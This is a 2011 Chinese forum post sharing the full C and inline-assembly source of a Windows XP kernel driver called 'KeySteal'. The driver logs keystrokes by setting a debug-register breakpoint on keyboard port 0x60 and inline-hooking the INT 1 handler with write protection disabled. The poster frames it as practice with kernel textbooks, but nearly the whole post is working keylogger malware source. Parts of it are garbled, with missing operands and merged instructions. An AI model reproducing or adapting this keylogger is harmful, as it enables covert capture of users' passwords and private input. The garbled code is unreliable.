乔丹二世 发表于 2011-1-16 00:55:25

发个利用debug功能的键盘记录器

为了巩固偶看内核情景第二章,第九章的知识,自己写了个键盘记录器。
原理很老套,无非是下io断点,inlinehook int 1 中断,详细的东东都可以在
windows内核情景分析第二章,软件调试第四章里找到,我就不搬教科书了00!也不是啥新东西。
#include <ntddk.h>
#include <keysteal.h>

#define IOCTL_START_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x810,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_STOP_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x811,METHOD_BUFFERED,FILE_ANY_ACCESS)

UCHAR Buffe_0_1_2;
ULONG Numbers,HookPointer, JmpOffset, HookOffset, HookCode,SaveOffset, KernelBase;

void SetBreakPoint()
{
_asm {
    mov eax, 0x60
    mov dr3,eax

    _emit 0x0F
    _emit 0x20
    _emit 0xE0
    or eax, 0x8
    _emit 0x0F
    _emit 0x22
    _emit 0xE0

    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
}
}

void ClearBreakPoint()
{
_asm {
      cli
      xor eax,eax
      mov dr3,eax
      
      _emit 0x0F
      _emit 0x20
      _emit 0xE0
      and eax, 0xfffffff7
      _emit 0x0F
      _emit 0x22
      _emit 0xE0
      
      mov eax, dr7
      and eax, 0xDffffebf
      mov dr7,eax
      sti
}
}

void ClearHook ()
{
_asm{
    cli
    moveax,cr0
    andeax,not 10000h
    movcr0,eax
      
    mov ebx, HookPointer
    mov eax, SaveOffset
    xchg , eax

    moveax,cr0
    or   eax,10000h
    movcr0,eax
    sti
      }
}


void SetHook ()
{

HookPointer = KernelBase + HookOffset;
JmpOffset = HookCode - (HookPointer + 4);

*(PUCHAR)(HookCode + 0x5d) = 0xe8;
*(PULONG)(HookCode + 0x5e) =(HookPointer + 4) + SaveOffset - (HookCode + 0x62);

_asm{
    cli
    moveax,cr0
    andeax,not 10000h
    movcr0,eax
   
    mov ebx, HookPointer
    mov eax, JmpOffset
    xchg , eax
    mov SaveOffset, eax

    moveax,cr0
    or   eax,10000h
    movcr0,eax
    sti
      }
}

voidInlineHook()
{

_asm {
    push eax
    push esi
    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
    mov eax,dr6
    test eax, 8
    jz _pass
    mov esi, offset Buffe_0_1_2
    add esi, Numbers;
    mov eax,
    mov byte ptr , al
    inc Numbers
    cmp Numbers, 256
    jnz _jump
    xor eax,eax
    mov Numbers, eax
_jump:
    pop esi
    pop eax
   
    mov esp, ebp
    add esp, 30h
    pop gs
    pop es
    pop ds
    pop edx
    pop ecx
    pop eax
    add esp, 8
    pop fs
    pop edi
    pop esi
    pop ebx
    pop ebp
    add esp, 4
    iretd
_pass:
    pop esi
    pop eax
    nop
    nop
    nop
    nop
    nop
}
}


NTSTATUS GetKernelBase ()
{
NTSTATUS status;
ULONG length;
UNICODE_STRING Destination;
PSYSMODULELIST sysinfo;

RtlInitUnicodeString (&Destination, L"ZwQuerySystemInformation");
ZwQuerySystemInformation =
    (ZWQUERYSYSTEMINFORMATION)MmGetSystemRoutineAddress (&Destination);
status = ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&length);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
    sysinfo = ExAllocatePoolWithTag(NonPagedPool,length,0x123456);
    if (NULL == sysinfo)
    {
      return STATUS_INSUFFICIENT_RESOURCES;
    }
}
status = ZwQuerySystemInformation(SystemModuleInformation
    , sysinfo, length, &length);
if(!NT_SUCCESS(status))
{
    ExFreePoolWithTag (sysinfo, 0x123456);
    return STATUS_UNSUCCESSFUL;
}

KernelBase = sysinfo->smi.Base;
ExFreePoolWithTag (sysinfo, 0x123456);

return STATUS_SUCCESS;
}

NTSTATUS
Unload (PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING SymbolLink;

RtlInitUnicodeString (&SymbolLink, L"\\??\\KeySteal");

ExFreePoolWithTag (HookCode, 0x123456);
IoDeleteSymbolicLink (&SymbolLink);
IoDeleteDevice (DriverObject->DeviceObject);

return STATUS_SUCCESS;
}


NTSTATUS
ReadRoutine (
PDEVICE_OBJECT DeviceObject,
PIRP pIrp
)
{

NTSTATUS status = STATUS_SUCCESS;

RtlCopyMemory (pIrp->AssociatedIrp.SystemBuffer, Buffe_0_1_2, 256);

pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 256;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);

return status;
}

NTSTATUS
DeviceControlRoutine (
PDEVICE_OBJECT DeviceObject,
PIRP pIrp
)
{

ULONG code;
PIO_STACK_LOCATION stack = NULL;


stack = IoGetCurrentIrpStackLocation (pIrp);
code = stack->Parameters.DeviceIoControl.IoControlCode;

switch (code)
{
case IOCTL_START_KEYFIL:

    SetBreakPoint();
    SetHook();
    break;
   
case IOCTL_STOP_KEYFIL:

    ClearBreakPoint();
    ClearHook();
    break;
default:
    break;
}

pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

NTSTATUS
DispatchRoutine (
PDEVICE_OBJECT DeviceObject,
PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
int i;
NTSTATUS status;
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING DeviceName,SymbolLink;

_asm int 3
HookOffset = 0x67026; //just for winxp sp3

RtlInitUnicodeString (&DeviceName, L"\\Device\\KeySteal");

status = IoCreateDevice (
    DriverObject,
    0,
    &DeviceName,
    FILE_DEVICE_UNKNOWN,
    0,
    FALSE,
    &DeviceObject);
if (!NT_SUCCESS(status))
{
    return STATUS_UNSUCCESSFUL;
}

for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++)
{
    DriverObject->MajorFunction = DispatchRoutine;
}

DeviceObject->Flags |= DO_BUFFERED_IO;
DriverObject->MajorFunction = ReadRoutine;
DriverObject->MajorFunction = DeviceControlRoutine;
DriverObject->DriverUnload = Unload;

//创建符号连接
RtlInitUnicodeString (&SymbolLink, L"\\??\\KeySteal");
status = IoCreateSymbolicLink (&SymbolLink, &DeviceName);
if (!NT_SUCCESS (status))
{
    if (NULL != DeviceObject)
    {
      IoDeleteDevice (DeviceObject);
    }
    return status;
}

RtlZeroMemory(Buffe_0_1_2, 0, 256);
GetKernelBase();
HookCode = ExAllocatePoolWithTag (NonPagedPool, 100, 0x123456);
RtlCopyMemory (HookCode, (ULONG)InlineHook + 8, 0x62);

return STATUS_SUCCESS;
}

testid 发表于 2011-11-8 00:15:47

纯帮顶了!
页: [1]
查看完整版本: 发个利用debug功能的键盘记录器